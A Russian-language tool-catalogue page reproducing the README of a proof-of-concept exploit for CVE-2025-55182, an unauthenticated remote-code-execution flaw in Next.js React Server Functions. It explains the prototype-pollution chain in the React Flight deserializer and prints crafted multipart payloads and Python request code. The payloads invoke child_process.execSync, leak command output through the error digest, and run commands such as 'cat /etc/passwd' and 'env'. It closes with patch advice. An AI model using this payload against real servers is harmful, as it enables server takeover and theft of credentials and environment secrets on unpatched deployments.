Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — Эксплойт-доказательство концепции для CVE-2025-55182, уязвимости удалённого выполнения кода в React Server Functions (Next.js). Демонстрирует загрязнение прототипа, приводящее к неаутентифицированному произвольному выполнению кода через специально сформированные HTTP-запросы. | Kitploit
Инструменты/GitHubGitHub/yuta3003/cve-2025-55182
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFСтатьи и ИсследованияОбучение и Образование
GitHubyuta3003/cve-2025-55182

CVE-2025-55182

Эксплойт-доказательство концепции для CVE-2025-55182, уязвимости удалённого выполнения кода в React Server Functions (Next.js). Демонстрирует загрязнение прототипа, приводящее к неаутентифицированному произвольному выполнению кода через специально сформированные HTTP-запросы.

Репозиторий
129 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182

Демонстрационный код уязвимости удалённого выполнения кода (RCE) в React Server Functions (Next.js и др.). Эксплуатирует загрязнение прототипа для выполнения произвольного кода на сервере без аутентификации.

Внимание: Данный репозиторий предназначен только для образовательных и исследовательских целей. Запрещено использование в незаконных целях.


Обзор

Затронутые версии

  • Next.js: 16.0.6 и ранее (уязвим)
  • React: до этого коммита

Серьёзность уязвимости

  • CVSS: Высокий (детальный показатель не опубликован)
  • Сложность атаки: Низкая (не требуется аутентификация, атака одним HTTP-запросом)
  • Влияние: Выполнение произвольного кода на сервере

Причина уязвимости

Недостаточная проверка цепочки прототипов в процессе десериализации протокола React Flight. Это позволяет получить доступ к конструктору Function через __proto__ и выполнить произвольный код JavaScript.


Использование

Среда Docker (рекомендуется)

Самый простой способ проверки.

# 1. Запустить уязвимый сервер Next.js
docker compose up -d --build

# 2. Выполнить эксплойт (по умолчанию: команда id)
docker compose run --rm poc

# 4. Выполнить произвольную команду
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 5. Остановить сервер
docker-compose down

Техническое объяснение

1. Предварительные сведения

Что такое React Server Functions

Функции серверной стороны, предоставляемые в Next.js и других фреймворках.

// Server Action (функция, выполняемая только на сервере)
async function submitForm(formData) {
  'use server'  // ← объявление серверной функции

  // Обработка на сервере, например, работа с БД
  const result = await db.insert(formData)
  return result
}

При вызове с клиента:

  1. Отправляется на сервер как HTTP-запрос
  2. Аргументы сериализуются/десериализуются с помощью React Flight Protocol
  3. Функция выполняется на сервере
  4. Результат возвращается клиенту

Механизм React Flight Protocol

Клиент отправляет данные единицами, называемыми «чанками»:

files = {
    "0": (None, '["$1"]'),                                  # Чанк 0: ссылка на чанк 1
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # Чанк 1: ссылается на fruitName из чанка 2
    "2": (None, '{"fruitName":"cherry"}'),                  # Чанк 2: фактические данные
}

После десериализации на сервере:

{ object: 'fruit', name: 'cherry' }

Ключевой момент: чанки могут ссылаться друг на друга.


2. Детали уязвимости

Проблема

До исправляющего коммита при разрешении ссылок на чанки не проверялось, существует ли ключ непосредственно в объекте.

Это позволяет получить доступ к цепочке прототипов.

Базовая атака (получение конструктора Function)

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Процесс разрешения ссылки:

Объект чанка 1 → __proto__ → constructor → constructor → Function

Результат:

[Function: Function]  // Получен конструктор Function!

Развитие атаки (эксплуатация метода then)

Делаем чанк 0 объектом и устанавливаем свойство then на конструктор Function:

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Код Next.js (action-handler.ts:888, до патча):

boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Этот await пытается вызвать объект с then, являющимся конструктором Function, что приводит к ошибке:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

3. Техника эксплуатации (продвинутая)

Проблема

Конструктор Function получен, но как заставить его выполнить произвольный код?

Что нужно:

  1. Гаджет для вызова конструктора Function (передать код в виде строки)
  2. Гаджет для выполнения сгенерированной функции

Решение: самореферентные чанки

Идея maple3142: создать «поддельный чанк», где чанк 0 ссылается сам на себя.

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # Перезаписать свой then на Chunk.prototype.then
    "1": (None, '"$@0"'),                          # $@0 = «сырое» представление чанка 0
}

Синтаксис $@ возвращает «сырой чанк», а не разрешённое значение:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Результат: then чанка 0 заменяется на Chunk.prototype.then.

Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← попадаем сюда
  }
  // ...
}

Эксплуатация двухэтапной оценки

Устанавливаем поддельному чанку status: "resolved_model", и будет вызвана функция initializeModelChunk:

files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Внутри initializeModelChunk:

function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

Здесь происходит вторая оценка.

Финальная нагрузка: эксплуатация обработки Blob

Обработка blob в React Flight Protocol (префикс $B):

case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← эксплуатируем здесь
  );

Манипулируем _response поддельного чанка: устанавливаем _formData.get на конструктор Function, а _prefix — на код, который хотим выполнить:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # чтобы toString() не вызвал ошибку
    "value": '{"then": "$B0"}',  # устанавливаем then через ссылку на blob
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # конструктор Function
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Поток выполнения:

response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// Эта функция вызывается через await → выполнение кода!

4. Работа PoC

poc.py реализует описанную выше нагрузку и извлекает результат выполнения команды из сообщения об ошибке:

# Встраиваем вывод команды в поле digest ошибки
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

Атака срабатывает при установке HTTP-заголовка Next-Action: x:

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

Важно: эта атака происходит во время десериализации, то есть до проверки действия (getActionModIdOrError).


Меры противодействия

Для разработчиков

  1. Немедленно обновить: установить последние версии React и Next.js

    npm update react react-dom next
    
  2. Проверить версии:

    npm list react next
    
    • Next.js 16.0.7 и новее
    • React 19.2.1 и новее (включает исправляющий коммит)
Скачать инструмент